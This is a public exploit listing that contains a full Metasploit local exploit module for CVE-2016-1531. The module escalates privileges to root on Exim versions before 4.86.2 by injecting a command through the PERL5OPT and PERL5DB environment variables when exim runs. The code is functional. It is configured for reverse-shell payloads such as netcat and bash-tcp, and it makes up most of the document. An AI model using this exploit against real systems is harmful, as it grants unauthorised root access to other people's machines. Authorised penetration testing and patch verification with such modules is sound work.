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Exim perl_startup Privilege Escalation

Exim perl_startup Privilege Escalation
Posted Apr 14, 2016
Authored by Dawid Golunski, wvu | Site metasploit.com

This Metasploit module exploits a Perl injection vulnerability in Exim versions prior to 4.86.2 given the presence of the "perl_startup" configuration parameter.

tags | exploit, perl
SHA-256 | 9244d1a56ca1a0b4187fc7d9232dd5485fbbf380c0bdb9f35ea79df0019c335a

Exim perl_startup Privilege Escalation

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'Exim "perl_startup" Privilege Escalation',
'Description' => %q{
This module exploits a Perl injection vulnerability in Exim < 4.86.2
given the presence of the "perl_startup" configuration parameter.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
%w{CVE 2016-1531},
%w{EDB 39549},
%w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
],
'DisclosureDate' => 'Mar 10 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'BadChars' => "\x22\x27", # " and '
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
}
},
'Targets' => [
['Exim < 4.86.2', {}]
],
'DefaultTarget' => 0
))
end

def check
if exploit('whoami') == 'root'
CheckCode::Vulnerable
else
CheckCode::Safe
end
end

def exploit(c = payload.encoded)
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
end

end
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